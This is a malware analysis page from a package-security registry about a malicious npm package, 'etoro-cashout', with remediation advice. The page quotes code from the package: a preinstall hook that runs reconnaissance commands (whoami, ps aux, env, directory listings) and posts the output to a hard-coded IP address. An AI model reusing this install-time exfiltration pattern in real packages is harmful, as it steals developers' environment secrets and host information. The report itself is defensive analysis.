registry / Credential exfiltration / etoro-cashout

etoro-cashout

Internal service client library

This report shows the evidence for etoro-cashout@99.0.2. 3 of 3 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is a concrete automatic install-time data-exfiltration chain with no corresponding package functionality. The suppressed-error preinstall hook runs reconnaissance commands and sends their output to a remote IP address.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall

Impact

Exposes user, host, environment, process, network, and directory information without consent.

Mechanism

Install-time system reconnaissance and HTTP exfiltration

Attack narrative

Installing the package triggers preinstall.js before normal use. The script collects identifying metadata, executes platform-specific reconnaissance commands including environment listing, process listing, and directory listing, and posts each result to 209.126.81.147 over HTTP. Errors are deliberately ignored, and the declared runtime module is empty.

AI rationale

Evidence

package.jsonpreinstall.jsindex.js/~

Network endpoints1

209.126.81.147

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

A preinstall hook runs the collector and suppresses failures.
The hook gathers host, user, platform, and working-directory identifiers and sends them to a hard-coded IP address.
It executes system, process, directory, network, and environment-inventory commands, then posts their output.
The declared runtime entry point exports only an empty object; the package functionality is concentrated in the install hook.

Evidence against

No destructive file-write or persistence operation was found.

Behavioral surface

Source

ChildProcessNetwork

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 2 file(s), 1.36 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

A preinstall hook runs the collector and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

5const h = os.hostname(); const u = os.userInfo().username; const c = encodeURIComponent(process.cwd()); const p = os.platform(); const OOB = '209.126.81.147'; const CANARY = 'etoro-nuget-verify1f8eaa57a875';

High

Ai Review Evidence

The hook gathers host, user, platform, and working-directory identifiers and sends them to a hard-coded IP address.

preinstall.jsView on unpkg · L5

19const req = http.request({ hostname: OOB, port: 80, path: `/${CANARY}/v4/${tag}/${h}`, method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': d.length } }); req.write(d); req.end();

High

Ai Review Evidence

The hook gathers host, user, platform, and working-directory identifiers and sends them to a hard-coded IP address.

preinstall.jsView on unpkg · L19

40post('whoami', run('whoami') + run('id')); post('ipconfig', run('hostname -f 2>/dev/null || hostname') + run('ip addr 2>/dev/null || ifconfig 2>/dev/null')); post('dir-root', run('ls -la /')); post('dir-user', run('ls -la ~')); post('tasklist', run('ps aux')); post('env', run('env')); }

High

Ai Review Evidence

It executes system, process, directory, network, and environment-inventory commands, then posts their output.

preinstall.jsView on unpkg · L40

index.jsView file

1module.exports = {};

High

Suspicious Lifecycle Evidence

The declared runtime entry point exports only an empty object; the package functionality is concentrated in the install hook.

index.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

A preinstall hook runs the collector and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

Findings

6 High2 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepreinstall.js

HighSuspicious Lifecycle Evidenceindex.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to etoro-cashout@99.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing etoro-cashout@99.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-11 18:45:05.112Z (UTC).

Source advisory published: 2026-09-10 04:45:58.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

99.0.2latestshownMaliciousCredential ExfiltrationBlockPublishedSep 11, 2026, 1:59 PM 99.0.0MaliciousCredential ExfiltrationBlockPublishedSep 11, 2026, 1:37 PM 999.0.0MaliciousMalwareBlockPublishedSep 10, 2026, 4:02 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Source & flagged code

Related packages

Other credential exfiltration packages